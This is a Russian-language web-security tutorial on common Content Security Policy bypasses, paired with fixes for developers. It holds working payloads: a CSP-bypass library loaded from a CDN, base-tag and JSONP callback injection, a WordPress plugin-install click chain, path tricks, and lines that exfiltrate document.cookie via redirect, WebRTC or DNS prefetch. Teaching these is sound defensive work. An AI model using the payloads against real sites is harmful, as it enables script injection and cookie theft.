Обход защитных мер - Обычные способы обхода CSP
Ранее мы обсуждали, как разработчики могут настроить Content Security Policy в качестве способа защиты для сайтов, предотвращая выполнение JavaScript злоумышленниками, даже если они умудряются внедрить HTML. Это значительно снижает воздействие атак. Так как CSP охватывает широкий спектр элементов, включая скрипты, стили и изображения, конфигурация CSP каждого сайта может отличаться. Важно настраивать CSP исходя из содержимого вашего собственного сайта.
Однако, если CSP не настроена правильно, это практически то же самое, что и отсутствие настройки. В этом посте я покажу вам некоторые общие способы обхода CSP.
Обход через небезопасные домены
Если ваш сайт использует публичные платформы CDN для загрузки JavaScript, такие как unpkg.com, возможно, что правило CSP установлено как script-src https://unpkg.com.
В предыдущем обсуждении CSP я спросил, в чем проблема с этой конфигурацией. Теперь позвольте мне раскрыть ответ.
Проблема этого подхода в том, что он позволяет загружать все библиотеки с этого источника. Чтобы исправить эту ситуацию, кто-то уже создал библиотеку под названием csp-bypass и загрузил ее. Вот пример:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src https://unpkg.com/">
</head>
<body>
<div id="userContent">
<script src="https://unpkg.com/react@16.7.0/umd/react.production.min.js"></script>
<script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script>
<br csp="alert(1)">
</div>
</body>
</html>
Я хочу загрузить только React, но мне лень писать полную конфигурацию CSP. Поэтому я написал только https://unpkg.com/, что позволило злоумышленникам загрузить библиотеку csp-bypass, специально разработанную для обхода CSP.
Решение состоит в том, чтобы вовсе избегать использования этих общедоступных CDN или записывать полный путь в конфигурации CSP. Вместо простого https://unpkg.com/ пишите https://unpkg.com/react@16.7.0/.
Обход через Base Element
При настройке CSP распространенной практикой является использование nonce для указания, какие скрипты могут быть загружены. Даже если злоумышленник внедряет HTML, они не могут выполнить код без знания nonce. Вот пример
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
<div id="userContent">
<script src="https://example.com/my.js"></script>
</div>
<script nonce="abc123" src="app.js"></script>
</body>
</html>
После открытия консоли мы видим ошибку:
>Refused to load the script 'https://example.com/my.js' because it violates the following Content Security Policy directive: "script-src 'nonce-abc123'". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback.
Хотя это кажется безопасным, было забыто одно: директива base-uri. Эта директива не откладывается до умолчания. Тег base используется для изменения местоположения ссылки для всех относительных путей. Например:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
<base href="https://example.com/">
</head>
<body>
<div id="userContent"></div>
<script nonce="abc123" src="app.js"></script>
</body>
</html>
Поскольку добавлен <base href="https://example.com/">, скрипт, загружающий app.js, становится https://example.com/app.js, что позволяет злоумышленникам загружать скрипты со своего собственного сервера!
Решение для предотвращения этого обхода - добавить правило base-uri в CSP. Например, используйте base-uri 'none', чтобы блокировать все базовые теги. Поскольку большинство сайтов не требует использования <base>, вы с уверенностью можете добавить эту директиву.
Обход через JSONP
JSONP - это способ получения данных с разных источников, но я лично считаю его старым обходным путем, который появился до зрелости CORS.
Обычно браузеры препятствуют взаимодействию с веб-страницами не того же источника. Например, выполнение fetch('https://example.com') в https://google.com приведет к следующей ошибке:
> Access to fetch at 'https://example.com/ from origin 'https://google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
Эта ошибка CORS мешает вам получить ответ.
Однако есть несколько элементов, которые не подчиняются политике того же источника, такие как <img>. В конце концов, изображения можно загружать из различных источников, и мы не можем получить доступ к их содержимому с помощью JavaScript, поэтому проблемы нет.
Элемент <script> также не ограничен. Например, при загрузке Google Analytics или Google Tag Manager, мы напрямую пишем <script src="https://www.googletagmanager.com/gtag/js?id=UA-XXXXXXXX-X"></script>, и это никогда не было ограничено, верно?
Поэтому появился способ обмена данными. Предположим, есть API, который предоставляет данные пользователя, и они предлагают путь вроде https://example.com/api/users. Вместо того чтобы возвращать JSON, он возвращает часть кода JavaScript:
setUsers([ {id: 1, name: 'user01'}, {id: 2, name: 'user02'}])
В результате моя веб-страница может получать данные с помощью функции setUsers:
<script>
function setUsers(users) {
console.log('Users from api:', users);
}
</script>
<script src="https://example.com/api/users"></script>
Однако, конкретно заданное имя может быть неудобным. Поэтому общим форматом является https://example.com/api/users?callback=anyFunctionName, и ответ становится:
anyFunctionName([
{ id: 1, name: 'user01' },
{ id: 2, name: 'user02' }
]);
Если сервер не проверяет корректность и позволяет передавать любые символы, мы можем использовать такой URL https://example.com/api/users?callback=alert(1);console.log. В этом случае, ответ становится:
alert(1);
console.log([
{ id: 1, name: 'user01' },
{ id: 2, name: 'user02' }
]);
Мы успешно вставили желаемый код в ответ, и эту технику можно использовать для обхода CSP.
Например, допустим, мы разрешаем скрипт из определенной области, и эта область действительно имеет URL, поддерживающий JSONP. Мы можем использовать его для обхода CSP и выполнения кода. Например:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com">
</head>
<body>
<div id="userContent">
<script src="https://example.com"></script>
</div>
<script async src="https://www.google.com/recaptcha/api.js"></script>
<button class="g-recaptcha" data-sitekey="6LfkWL0eAAAAAPMfrKJF6v6aI-idx30rKs55Lxpw" data-callback="onSubmit">Submit</button>
</body>
</html>
Поскольку мы используем Google reCAPTCHA, мы включаем соответствующий скрипт и добавляем https://www.google.com в CSP. В противном случае, https://www.google.com/recaptcha/api.js был бы заблокирован.
Но случайно этот домен имеет URL, который поддерживает JSONP:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com">
</head>
<body>
<div id="userContent">
<script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//"></script>
</div>
</body>
</html>
Таким образом, злоумышленник может использовать его для обхода CSP и успешного выполнения кода.
Чтобы избежать этой ситуации во время конфигурации, существуют некоторые подходы. Во-первых, сделайте пути более строгими. Например, установите его на https://www.google.com/recaptcha/ вместо https://www.google.com, чтобы уменьшить некоторые риски (почему я говорю "уменьшить риски", а не "полностью предотвратить риски"? Вы узнаете позже).
Во-вторых, проверьте, какие домены имеют доступные API JSONP.
Существует репозиторий под названием JSONBee, который собирает URL-адреса JSONP из известных веб-сайтов. Хотя некоторые из них были удалены, он все равно может служить референсом.
Ранее упомянутый CSP Evaluator также любезно напоминает вам:

Ограничения JSONP
Хотя ранее JSONP был представлен как мощный инструмент, позволяющий выполнение произвольного кода, некоторые веб-сайты ограничивают параметр обратного вызова JSONP. Например, разрешены только определенные символы, такие как a-zA-Z., поэтому мы можем вызывать только функцию, и мы не можем контролировать параметры.
Что мы можем сделать в этом случае?
Существует еще одно понятие, называемое Same Origin Method Execution. Идея заключается в том, что, хотя мы можем вызывать только функции, мы также можем исполнять методы на веб-сайте с тем же происхождением.
Допустим, на странице есть кнопка, при нажатии на которую происходит какое-то действие. Вы можете использовать JavaScript код document.body.firstElementChild.nextElementSibling.click, чтобы щелкнуть ее. Поскольку символы в этом коде разрешены, вы можете поместить его внутри JSONP: ?callback=document.body.firstElementChild.nextElementSibling.click, и использовать JSONP для выполнения кода, как упоминалось ранее.
Есть много ограничений, но это все еще потенциальная вектор атаки. В этом блог-посте под названием "Bypass CSP Using WordPress By Abusing Same Origin Method Execution" опубликованном Octagon Networks в 2022 году, автор использовал Same Origin Method Execution (SOME), чтобы установить вредоносный плагин в WordPress.
В статье упоминается длинный фрагмент кода, который можно использовать для нажатия кнопки "Install Plugin":
window.opener.wpbody.firstElementChild .firstElementChild.nextElementSibling.nextElementSibling .firstElementChild.nextElementSibling.nextElementSibling .nextElementSibling.nextElementSibling.nextElementSibling .nextElementSibling.nextElementSibling.firstElementChild .nextElementSibling.nextElementSibling.firstElementChild .nextElementSibling.firstElementChild.firstElementChild .firstElementChild.nextElementSibling.firstElementChild .firstElementChild.firstElementChild.click
Хотя у SOME есть много ограничений, если не найдены другие способы эксплуатации, это все равно может быть метод, который стоит попробовать.
Обход через перенаправление
Что происходит, когда CSP сталкивается с серверным перенаправлением? Если перенаправление ведет к другому источнику, который не разрешен, оно все равно не сработает.
Однако, согласно описанию в CSP spec 4.2.2.3. Paths and Redirects, если перенаправление ведет к другому пути, оно может обойти оригинальные ограничения.
Вот пример:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id="userContent">
<script src="https://www.google.com/test"></script>
<script src="https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Если CSP установлен на https://www.google.com/a/b/c/d, поскольку учитывается путь, оба скрипта /test и /a/test будут заблокированы CSP.
Однако, последний http://localhost:5555/301 будет перенаправлен на сервере на https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Так как это перенаправление, путь не учитывается, и скрипт может быть загружен, обходя таким образом ограничение пути.
С этим перенаправлением, даже если путь указан полностью, он все равно будет обойден.
Поэтому лучшим решением будет убедиться, что на веб-сайте нет уязвимостей для открытого перенаправления и что в правилах CSP нет доменов, которые могут быть эксплуатированы.
Обход через RPO (Relative Path Overwrite)
Помимо упомянутого ранее перенаправления для обхода ограничений по пути, существует еще одна техника, называемая Relative Path Overwrite (RPO), которая может быть использована на некоторых серверах.
Например, если CSP разрешает путь https://example.com/scripts/react/, он может быть обойден следующим образом:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Браузер в конечном итоге загрузит https://example.com/scripts/angular/angular.js.
Это работает потому что для браузера вы загружаете файл с именем ..%2fangular%2fangular.js расположенный под https://example.com/scripts/react/, что соответствует CSP.
Однако, для определенных серверов, когда они получают запрос, они будут его декодировать, фактически запрашивая https://example.com/scripts/react/../angular/angular.js, что эквивалентно https://example.com/scripts/angular/angular.js.
Путем эксплуатации этого несоответствия в интерпретации URL между браузером и сервером можно обойти правила пути.
Решение состоит в том, чтобы не рассматривать %2f как / на стороне сервера, обеспечивая одинаковую интерпретацию между браузером и сервером для избежания этой проблемы.
Другие техники обхода
Ранее упомянутые методики в основном сосредоточены на обходе правил CSP. Теперь давайте обсудим методики обхода, эксплуатирующие ограничения самого CSP.
Например, предположим, что веб-сайт имеет строгий CSP, но разрешает выполнение JavaScript:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline';">
</head>
<body>
<script>
// any JavaScript code
</script>
</body>
</html>
Цель - украсть document.cookie. Как это можно достичь?
Проблема не в том, чтобы украсть cookie, проблема заключается в передаче его внешний ресурс. Поскольку CSP блокирует загрузку всех внешних ресурсов, будь то <img>, <iframe>, fetch() или даже navigator.sendBeacon, все они будут заблокированы CSP.
В данном случае существуют несколько способов передачи данных. Один из способов - использовать window.location = 'https://example.com?q=' + document.cookie для выполнения перенаправления страницы. В настоящее время нет правил CSP, которые могут ограничить этот метод, но в будущем может быть введено правило под названием navigate-to.
Второй метод - использовать WebRTC, и код следующий из WebRTC bypass CSP connect-src policies #35:
var pc = new RTCPeerConnection({
"iceServers": [
{
"urls": [
"turn:74.125.140.127:19305?transport=udp"
],
"username": "_all_your_data_belongs_to_us",
"credential": "."
}
]
});
pc.createOffer().then((sdp) => {
pc.setLocalDescription(sdp);
});
В настоящее время нет способа ограничить передачу данных, но в будущем может появиться правило под названием webrtc.
Третий метод - предварительный DNS: <link rel="dns-prefetch" href="https://data.example.com">. Рассматривая данные, которые вы хотите отправить, в качестве части домена, вы можете передать их через DNS-запросы.
Раньше было такое правило, как prefetch-src, но спецификация изменилась, и теперь эти серии предварительной выборки должны следовать default-src. Chrome имеет эту функцию только начиная с версии 112: Resoure Hint "Least Restrictive" CSP.
В заключение, хотя default-src кажется блокирует все внешние соединения, это не так. Есть еще некоторые магические способы передачи данных. Однако, возможно, однажды, когда правила CSP станут более совершенными, будет возможно добиться полностью непроникаемого решения (хотя непонятно, когда настанет этот день).
Заключение
В этой статье мы рассмотрели некоторые общие методы обхода CSP, и их оказалось довольно много.
Более того, с увеличением количества доменов в CSP становится все сложнее исключить проблемные домены, что добавляет дополнительные риски. Кроме того, использование сторонних сервисов также несет определенные риски, такие как вышеупомянутые общедоступные CDNs или обход CSP Google. Это нужно учитывать.
Написание полностью безопасного CSP на самом деле сложно и требует времени для постепенного устранения небезопасных практик. Однако, в эпоху, когда многие веб-сайты даже не имеют CSP, все еще стоит применить старую поговорку: "Давайте добавим CSP сначала, если есть проблемы, мы можем их отрегулировать позже.".
Last updated